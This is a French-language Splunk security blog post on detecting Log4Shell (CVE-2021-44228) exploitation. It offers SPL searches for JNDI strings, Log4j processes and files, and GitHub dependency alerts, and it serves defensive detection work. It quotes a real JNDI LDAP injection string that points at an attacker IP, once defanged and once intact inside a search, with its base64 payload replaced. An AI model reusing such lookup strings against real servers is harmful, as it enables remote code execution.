Log4Shell : détecter l’exécution arbitraire de code à distance Log4j 2 avec Splunk

Comme toujours, la cybersécurité chez Splunk est une affaire de famille. Auteurs et contributeurs : Ryan Kovar, Shannon Davis, Marcus LaFerrera, John Stoner, James Brodsky, Dave Herrald, Audra Streetman, Johan Bjerke, Drew Church, Mick Baccio, Lily Lee, Tamara Chacon, Ryan Becwar.

Splunk vérifie actuellement l’impact de la vulnérabilité sur tous ses produits compatibles et évalue les différentes options de correction et/ou d’atténuation. Vous pouvez en savoir plus en consultant la Note de sécurité de Splunk pour Apache Log4j.

Si vous souhaitez seulement savoir comment déceler toute trace d’exécution arbitraire de code à distance Log4j 2, rendez-vous directement aux sections « détections » ci-dessous. Sinon, continuez à lire pour découvrir un récapitulatif des faits, comment détecter l’attaque et les mappages MITRE ATT&CK.

Présentation de l’exécution de code arbitraire à distance (RCE) Log4j

Une vulnérabilité critique (CVE-2021-44228) au sein du célèbre utilitaire de journalisation open source Apache Log4j constitue une menace pour des milliers d’applications et de services tiers qui exploitent cette bibliothèque. Le code de preuve de concept indique qu’une vulnérabilité de RCE (exécution de code arbitraire à distance) peut être exploitée par un malfaiteur soumettant une chaîne de caractères spécialement conçue qui est ensuite journalisée par Log4j. Le malfaiteur pourrait ensuite exécuter du code arbitrairement depuis une source externe. L’Apache Software Foundation a récemment publié un correctif d’urgence pour la vulnérabilité. Les entreprises affectées doivent passer à la version 2.15.0 de Log4j dès que possible ou appliquer les méthodes d’atténuation adaptées si la mise à jour est impossible. 

Ce que vous devez savoir

De nombreux frameworks, applications et outils exploitent Log4j. Selon Ars Technica, Log4j est utilisé dans plusieurs frameworks populaires tels que Apache Struts 2, Apache Solr, Apache Druid et Apache Flink. Dans de nombreux cas, les administrateurs système peuvent même ignorer que Log4j est utilisé dans leur environnement. Pour exploiter cette vulnérabilité, le malfaiteur a seulement besoin de déclencher un événement de log qui contient la chaîne de caractères malveillante. Cela étant dit, quelques conditions doivent être réunies pour que la chaîne d’exploits fonctionne, comme indiqué dans l’article de blog de LunaSec et la note de sécurité d’Apache Log4j. Il faut également noter qu’un scan est différent d’une exploitation active. 

• La version de Log4j doit être >= 2.0-beta9 et <= 2.14.1.
• Le système ciblé doit être accessible par le malfaiteur afin d’envoyer le payload malveillant.
• La requête du malfaiteur doit être journalisée par Log4j.

Nous détaillerons tout cela dans la section suivante, mais une myriade d’hôtes scannent Internet à la recherche de serveurs potentiellement vulnérables. 

Une fois qu’un hôte vulnérable est identifié, des correctifs et des solutions de contournement sont mis à disposition. Tout n’est donc pas perdu.

Détecter l’exécution arbitraire de code à distance Log4j 2 dans Splunk

Actuellement, de nombreux réseaux sont en train d’être scannés. Ces scans permettront d’obtenir de nombreuses adresses IP à ajouter à vos listes de supervision. Cependant, comme nous savons que les malfaiteurs changent d’adresse IP aussi souvent que je change de t-shirt (tous les jours, soit dit en passant), ce n’est peut-être pas le meilleur moyen d’identifier l’exploitation de la vulnérabilité à long terme.

La bonne nouvelle, c’est que l’activité suivante est actuellement détectée dans le champ user agent. Un grand merci à GreyNoise !

${jndi:ldap://45.155[.]205.233:12344/Basic/Command/Base64/U28gTG9uZywgYW5kIFRoYW5rcyBmb3IgQWxsIHRoZSBGaXNo}

(Ligne rendue inoffensive)

Cela signifie que nous pouvons regarder l’enveloppe plutôt que la lettre à l’intérieur pour détecter des signes d’activité. Dans ce cas, l’enveloppe correspond à la présence de ${jndi:ldap://, et nous n’avons pas encore besoin d’ouvrir base64.

Pour continuer sur l’analogie de la lettre et de l’enveloppe, ldap n’est pas la seule chaîne de caractères qui suivra ${jndi:. À la place d’ldap, ldaps, rmi ou dns peuvent également apparaître. La bonne nouvelle, c’est que vous pouvez utiliser quelques recherches pour identifier cette activité.

Manifestement, pour comprendre les commandes exécutées et identifier si l’activité détectée n’est qu’un scan ou une exploitation, il faut analyser les chaînes de caractères encodées. Mais comme tout cela est très récent, nous ne voulons pas perdre de temps à identifier l’emplacement de toutes les occurrences de jndi.

Indicateurs de compromission (IOC)

Il est important de noter que même si une grande partie des activités de scans a détecté la chaîne de caractères ${jndi dans le champ user agent, cette chaîne peut également se trouver ailleurs. Pour remédier à ce problème, nous avons mis au point une recherche initiale pour une partie du champ User-Agent malveillant, ainsi qu’une deuxième recherche, plus large, pour rechercher la chaîne suspecte autre part.

sourcetype=bro:http:json user_agent=${jndi:*}| stats sparkline values(user_agent) count by src_ip, dest_ip, dest_port

Je sais, vous vous dites : « Et si la chaîne de caractères se trouve ailleurs que dans le champ user-agent ? ». Dans ce cas, les choses se compliquent un peu. S’il est impossible d’isoler un champ spécifique, une recherche non structurée telle que la suivante doit être effectuée :

index=* ${jndi:*}

Il s’agit d’une recherche très coûteuse en l’état, car elle n’est pas structurée et contient un caractère de remplacement, mais elle permettrait de ne négliger aucun détail. Si vous avez d’autres critères pour préciser votre recherche, par exemple des plages d’adresses d’actifs spécifiques ou des catégorisations d’appareils, ils pourraient s’avérer utiles et permettre de résoudre le coût de cette recherche. Un autre moyen de réduire le coût de cette recherche est d’exploiter vos modèles de données accélérés issus de notre modèle CIM (Common Information Model). Par exemple, http_user_agent est un champ du modèle de données Web et il peut être analysé à l’aide de techniques « tstats » comme celles que vous verrez dans la section suivante.

Gardez bien à l’esprit, ce n’est pas parce que vous détectez cette activité que vous avez forcément été piraté. Cependant, cela confirme que quelqu’un frappe à votre porte et cherche peut-être à entrer. Des analyses supplémentaires des systèmes contenant cette activité sont nécessaires pour déterminer s’il y a eu violation ou exploitation.

Cela nous ramène aux chaînes de caractères encodées qui sont détectées. Dans un premier temps, nous avions dit que nous nous concentrions sur l’enveloppe, pas la lettre. Il est temps de regarder la lettre. Dans l’exemple ci-dessous, nous avons un champ appelé « test » qui contient la chaîne de caractères indiquée ci-dessus. Pour analyser cette chaîne et celles que vous pourriez découvrir dans Splunk, nous pouvons installer une application qui décode base64 pour tous les événements qui correspondent à vos critères de recherche. Dans le cas présent, nous utilisons CyberChef for Splunk, mais vous pouvez utiliser n’importe quel décodeur de base64. Ici, notre malfaiteur nous a facilité la tâche en précédant sa commande base 64 par la chaîne /Base64/, donc notre commande rex cherche cette chaîne pour commencer notre capture. 

Manifestement, à mesure que la situation évolue, vous devrez peut-être modifier votre commande rex, mais celle-ci constitue un bon point de départ. En utilisant un décodeur de base64, nous pouvons obtenir un champ result comme illustré ci-dessous qui affiche un statement curl avec wget et les adresses IP associées. Ces adresses IP peuvent être ajoutées dans vos listes de supervision si vous le souhaitez. Vous pourriez potentiellement trouver d’autres bonnes choses dans ces résultats.

Maintenant, comme nous ne voulons pas indiquer de chaînes de caractères dans notre blog qui pourraient être exécutées pour scanner un site, nous avons extrait le base64 et ajouté un exemple de ce que à quoi cela pourrait ressembler. L’image ci-dessous est la commande décodée mais la recherche que vous pouvez copier-coller donnera un résultat différent. Le concept reste cependant le même.

| makeresults | eval test="${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/U28gTG9uZywgYW5kIFRoYW5rcyBmb3IgQWxsIHRoZSBGaXNo}"| rex field=test "\/Base64\/(?\S+)}"| table string| cyberchef infield=string outfield=result operation=FromBase64

Mais attendez, où est-ce que j’utilise Log4j ?

Comme indiqué ci-dessus, de nombreuses applications, frameworks et outils peuvent utiliser Log4j. Pour mesurer votre exposition à cette vulnérabilité RCE, nous pouvons une nouvelle fois utiliser la journalisation de l’exécution des processus sur votre environnement, et trouver des traces d’activité de Log4j. Et si votre configuration le permet, nous pouvons chercher des preuves de création/modification de fichiers avec Log4j dans le nom ou le chemin. Comme l’invocation de Log4j a tendance à être verbeuse, vous pourriez trouver des traces dans les écritures de fichiers ou dans les exécutions de lignes de commande.

Bien entendu, ces deux recherches vont être vastes, pour parer à toute éventualité, mais puisque Log4j est tellement étendu, nous pouvons exploiter la puissance de Splunk pour analyser rapidement notre environnement afin de déterminer notre exposition potentielle.

Partons du principe que vous importez les logs d’exécution des processus, car nous vous disons de le faire depuis la présidence de Jimmy Carter. Nous nous sommes inspirés de nos amis de CrowdStrike, qui ont publié une recherche sur Reddit plus tôt dans la journée qui, entre autres, analyse les logs d’exécution de processus de Falcon à la recherche d’activité de Log4j. Bon, tous nos clients n’utilisent pas Falcon, alors comment mettre au point une recherche similaire qui fonctionnerait contre toutes les formes de logs d’exécution de processus dans Splunk, quelle que soit la source ?

La réponse réside dans le modèle de données Endpoint depuis notre modèle CIM (Common Information Model), qui normalise les informations d’exécution de processus dans des champs tels que process et parent_process. Et, si vous accélérez ce modèle de données (vous devriez), alors vous pouvez faire une recherche sur l’ensemble de votre environnement très rapidement. Donc une recherche comme celle-ci :

| tstats summariesonly=t values(Processes.parent_process) AS parent_process,values(Processes.process) AS process,latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Processes where (Processes.parent_process="*log4j*" OR Processes.process="*log4j*") by host | eval _time=latest| reltime | fields - _time| convert ctime(latest), ctime(earliest)| table host parent_process process reltime latest earliest

… va rapidement afficher les hôtes qui exécutent des processus contenant « log4j » dans leur nom ou le nom de l’exécutable parent. 

Si vous n’avez pas le modèle de données Endpoint.Processes rempli ou accéléré, cela va être plus compliqué et beaucoup plus lent, et vous devrez peaufiner vos recherches en conséquence pour correspondre à vos exécutions de processus de logs de solution de point de terminaison. Si vous êtes toujours à la recherche de capacités de détection de point de terminaison, Microsoft Sysmon est toujours notre outil préféré, et Microsoft a récemment publié une version pour Linux !

Voici une recherche d’événements brute que vous pourriez utiliser pour trouver tous les processus, ou processus parents, contenant « log4j » dans leur nom, appliqué aux données Sysmon (Linux et Windows).

index=main (source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" OR source="Journald:Microsoft-Windows-Sysmon/Operational") EventCode=1 (CommandLine=*log4j* OR ParentCommandLine=*log4j*)| table _time,host,CommandLine,ParentCommandLine

Une autre technique pour détecter la présence de Log4j sur vos systèmes est d’exploiter les logs de création de fichiers, par exemple, EventCode 11 dans Sysmon. Ces types d’événements sont renseignés dans le modèle de données Endpoint.Filesystem et grâce à quelques petites astuces avec tstats, vous pouvez même corréler l’événement de création de fichiers avec les informations du processus qui l’a créé. La recherche suivante donne un bon point de départ pour ce type de traque, mais la deuxième clause de tstats pourrait renvoyer de nombreuses données dans des environnements vastes : 

| tstats summariesonly=t prestats=t count,values(Filesystem.file_path) AS filepath,values(Filesystem.file_name) latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Filesystem where (Filesystem.file_path="*log4j*" OR Filesystem.file_name="*log4j*") by Filesystem.process_guid| tstats summariesonly=t prestats=t append=t count,values(Processes.process) as process,values(Processes.process_id) values(host) latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Processes by Processes.process_guid| eval GUID = coalesce('Processes.process_guid','Filesystem.process_guid')| eval _time=coalesce('Filesystem.latest','Processess.latest')| convert ctime(_time)| stats values(Processes.process) as process, values(Processes.process_id) as process_id values(host) as host, values(Filesystem.file_path) as path ,values(Filesystem.file_name) as file_name latest(_time) as latest_time by GUID| convert ctime(latest_time)| search process=* path=* file_name=*| fields - GUID

Utiliser des données GitHub dans Splunk pour détecter Log4j dans vos projets

Si vous êtes un développeur logiciel et que votre code source est dans un compte GitHub Organization ou Enterprise, vous pouvez utiliser les fonctionnalités de sécurité de GitHub pour envoyer des alertes concernant les dépendances vulnérables telles que Log4j. À l’aide du GitHub Audit Log Monitoring Add-On for Splunk et de l’appli GitHub App for Splunk, il est très simple de voir les vulnérabilités dès que GitHub les détecte, directement dans Splunk. Vous pouvez utiliser ces données pour envoyer des alertes, identifier les projets ayant besoin d’un correctif ou simplement ajouter du contexte à d’autres données dans Splunk. Voici une vidéo du Splunker Doug Erkkila détaillant la configuration nécessaire pour importer les données de logs d’audit de GitHub dans Splunk. Veuillez noter que pour obtenir les données de sécurité de GitHub les plus exhaustives, vous devez collecter les données WebHook à l’aide du Splunk HTTP Event Collector. Les instructions de configuration pour les données WebHook se trouvent ici. 

Voici un exemple d’alerte indiquant un projet (dans cet exemple, une version antérieure d’Apache Struts) qui inclut une dépendance à une version vulnérable de log4j-api.

sourcetype=github_json "alert.affected_package_name"="org.apache.logging.log4j:log4j-api"

Splunk Enterprise Security et ESCU

Connais-toi toi-même

Certes, nous avons pris le temps d’expliquer cette attaque et il est impératif de mener certaines investigations, mais il faut également rappeler que les bases sont essentielles. Une gestion basique des ressources, si possible via votre framework d’actifs et d’identités, vous indiquera où résident vos systèmes vulnérables. L’exécution régulière d’analyses de vulnérabilité qui s’intègrent dans Splunk permet d’afficher les systèmes vulnérables et de hiérarchiser votre programme de correctifs pour mieux focaliser vos efforts de détection.

Cette vulnérabilité est baptisée CVE-2021-44228 et vient d’être publiée. Cependant, en raison de l’ampleur et des conséquences potentielles de cette vulnérabilité, les scanners de vulnérabilité l’ont rapidement ajoutée à leurs bibliothèques. Pendant ce processus, l’identification et la réalisation d’un scan sur les systèmes exécutant les bibliothèques log4j-core et cette vulnérabilité seraient avisées afin d’aider à mieux cibler les efforts d’atténuation.

Enterprise Security Content Updates (ESCU)

Pour les personnes utilisant ESCU, notre équipe de recherche en sécurité va publier un nouveau scénario analytique Splunk dès que possible, indiquant toutes les détections pour cette menace !

Services Splunk

Notre équipe de professionnels de la sécurité, qui fait partie de notre équipe de services professionnels Splunk, peut vous aider à mettre en place tout ce que nous avons expliqué dans cet article. Nous proposons également des offres plus ciblées qui peuvent également vous aider à améliorer votre position de sécurité. 

Splunk Services for Breach Response and Readiness

Ce service consiste à vous aider à vous préparer à une violation et comment réagir à l’aide de notre suite de produits. Laissez nos experts vous aider à vous préparer à une faille.

• Identification et importation rapides des sources données.
• Comment incorporer et utiliser la threat intelligence.
• Contenu prédéfini avec des recherches et des tableaux de bord pour accélérer les processus d’investigation et de correction.
• Planification de réponse tactique.
• Exercice de simulation pour confirmer l’efficacité de votre réponse à l’aide des produits Splunk dont vous disposez.

MITRE ATT&CK

En examinant les articles de blog d’à peu près tout Internet, nous avons mappé l’activité de la vulnérabilité sur MITRE ATT&CK. Dès que nous en saurons davantage, nous actualiserons le tableau suivant avec d’autres recherches si d’autres TTP ATT&CK apparaissent.

Conclusion : publiez des correctifs, des correctifs, et encore des correctifs

Nous sommes bien conscients que l’exécution de code arbitraire à distance Log4j 2 est une vulnérabilité importante et que les clients voudront la corriger dès que possible et déterminer s’ils ont été affectés par cette vulnérabilité. Si vous ne l’avez pas encore corrigée (on a tous connu cette situation), avec un peu de chance, ces recherches vous donneront plus de visibilité sur votre environnement. Si elles ne fonctionnent pas parfaitement, inspirez-vous-en ! Dès que nous en saurons davantage, nous mettrons cet article à jour et, comme indiqué précédemment, restez à l’affût des autres techniques de détection qui seront publiées par notre équipe de recherche sur les menaces sur Enterprise Security Content Updates.